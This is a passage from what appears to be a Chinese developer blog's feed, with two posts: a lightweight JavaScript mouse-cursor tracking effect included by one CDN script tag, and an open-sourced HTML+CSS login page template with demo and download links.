100%; width: 1px; background-color: #d7d7d7;"></em>UI图下载</a></p><p><span style="white-space-collapse: preserve; font-size: 20px;"><br/></span></p><p><img class="ue-image" src="https://cdn.xfabe.com/image/apiHomePic.png" width="100%"/></p><p><img class="ue-image" src="https://cdn.xfabe.com/image/api_qqInfo.png" width="100%"/></p>Fri, 28 Jun 2024 16:08:48 +0800
- 一款优雅简约的鼠标跟踪特效https://www.xfabe.com/post/101.html<h1><span style="font-size: 24px;">一款优雅简约的鼠标跟踪特效</span></h1><p style="text-indent: 2em;"><span style="font-size: 16px;">这是一款基于原生JavaScript开发的鼠标跟踪效果,博主对部分代码进行了优化打包压缩后的代码仅有 <span style="font-size: 16px; color: #F79646;"><strong>5kb</strong></span> 大小。最后引入一行代码就能让你的网页呈现出这款优雅的鼠标跟踪效果~</span></p><h3 style="text-indent: 0em;"><span style="font-size: 20px;">CDN引入【推荐】</span><span style="font-size: 16px;"><br/></span></h3><pre class="prism-highlight prism-language-javascript"><script src="https://player.xfyun.club/js/curzr-arrow-pointer.min.js"></script></pre><h3 style="text-indent: 0em;"><span style="font-size: 20px;">示例代码</span><span style="font-size: 16px;"><br/></span></h3><pre class="prism-highlight prism-language-javascript"><!DOCTYPE html>
<html lang="zh-CN">
<head>
<meta charset="UTF-8">
<title>Demo</title>
<meta charset="UTF-8" />
<meta http-equiv="X-UA-Compatible" content="IE=edge" />
<meta name="viewport" content="width=device-width, minimum-scale=1">
</head>
<body>
// 代码放到 </body> 上面就行了
<script src="https://player.xfyun.club/js/curzr-arrow-pointer.min.js"></script>
</body>
</html></pre><h3><span style="font-size: 20px;">展示图</span><span style="font-size: 24px;"><br/></span></h3><p><span style="font-size: 24px;"><span style="font-size: 18px;"><img class="ue-image" src="https://cdn.xfabe.com/curzr-arrow-pointer.gif" style="width: 100%;"/></span><br/></span></p><h4><span style="font-size: 20px;">下载地址</span></h4><p style="height: 50px;"><a style="position: relative; z-index: 1; display: inline-block; *display: inline; *zoom: 1; height: 42px; line-height: 37px; padding-left: 50px; padding-right: 20px; margin-right: 10px; margin-bottom: 10px; border: 1px solid #d7d7d7; border-width: 1px 1px 4px; font-size: 14px; font-weight: 700; color: #0b588c; text-decoration: none; -moz-transition: none; -webkit-transition: none; -o-transition: none; transition: none; border-radius: 2px;" href="https://gitee.com/xfwlclub/curzr-arrow-pointer" target="_blank"><em style="position: absolute; z-index: 2; left: 11px; top: 12px; width: 12px; height: 12px; font-size: 0; background-position: -63px -166px; background: url(http://www.xfabe.com/zb_users/upload/2022/01/202201131642054312869932.png) no-repeat;"></em><em style="position: absolute; z-index: 2; left: 32px; top: 0; height: 100%; width: 1px; background-color: #d7d7d7;"></em>gitee</a></p>Tue, 04 Jun 2024 16:34:24 +0800
- 超好看的HTML+CSS登录页https://www.xfabe.com/post/100.html<h1><span style="font-size: 24px;">超好看的HTML+CSS登录页</span></h1><p><span style="font-size: 16px;">给老板做的一个登录单页,老板不是很喜欢我就给开源出来咯~</span></p><p><strong><span style="font-size: 16px;">演示站:</span><a href="https://www.xfabe.com/YYDS/html-login/" target="_blank"><span style="font-size: 16px;">https://www.xfabe.com/YYDS/html-login/</span></a><span style="font-size: 16px;"> </span></strong></p><h3><span style="font-size: 20px;">展示图</span></h3><p><img class="ue-image" src="https://cdn.xfabe.com/image/login-pic.jpg" width="100%" title="login" alt="login"/></p><h4><span style="font-size: 18px;">下载地址</span></h4><p style="height: 50px;"><a style="position: relative; z-index: 1; display: inline-block; *display: inline; *zoom: 1; height: 42px; line-height: 37px; padding-left: 50px; padding-right: 20px; margin-right: 10px; margin-bottom: 10px; border: 1px solid #d7d7d7; border-width: 1px 1px 4px; font-size: 14px; font-weight: 700; color: #0b588c; text-decoration: none; -moz-transition: none; -webkit-transition: none; -o-transition: none; transition: none; border-radius: 2px;" href="https://gitee.com/xfwlclub/nitai4" target="_blank"><em style="position: absolute; z-index: 2; left: 11px; top: 12px; width: 12px; height: 12px; font-size: 0; background-position: -63px -166px; background: url(http://www.xfabe.com/zb_users/upload/2022/01/202201131642054312869932.png) no-repeat;"></em><em style="position: absolute; z-index: 2; left: 32px; top: 0; height: 100%; width: 1px; background-color: #d7d7d7;"></em>gitee</a> <a target="_blank" href="https://xfzy2020.lanzoul.com/imc8K1wd5b7a" style="position: relative; z-index: 1; display: inline-block; *display: inline; *zoom: 1; height: 42px; line-height: 37px; padding-left: 50px; padding-right: 20px; margin-right: 10px; margin-bottom: 10px; border: 1px solid #d7d7d7; border-width: 1px 1px 4px; font-size: 14px; font-weight: 700; color: #0b588c; text-decoration: none; -moz-transition: none; -webkit-transition: none; -o-transition: none; transition: none; border-radius: 2px;"><em style="position: absolute; z-index: 2; left: 11px; top: 12px; width: 12px; height: 12px; font-size: 0; background-position: -63px -166px; background: url(http://www.xfabe.com/zb_users/upload/2022/01/202201131642054312869932.png) no-repeat;"></em><em style="position: absolute; z-index: 2; left: 32px; top: 0; height: 100%; width: 1px; background-color: #d7d7d7;"></em>蓝奏云</a></p>Wed, 24 Apr 2024 20:07:42 +0800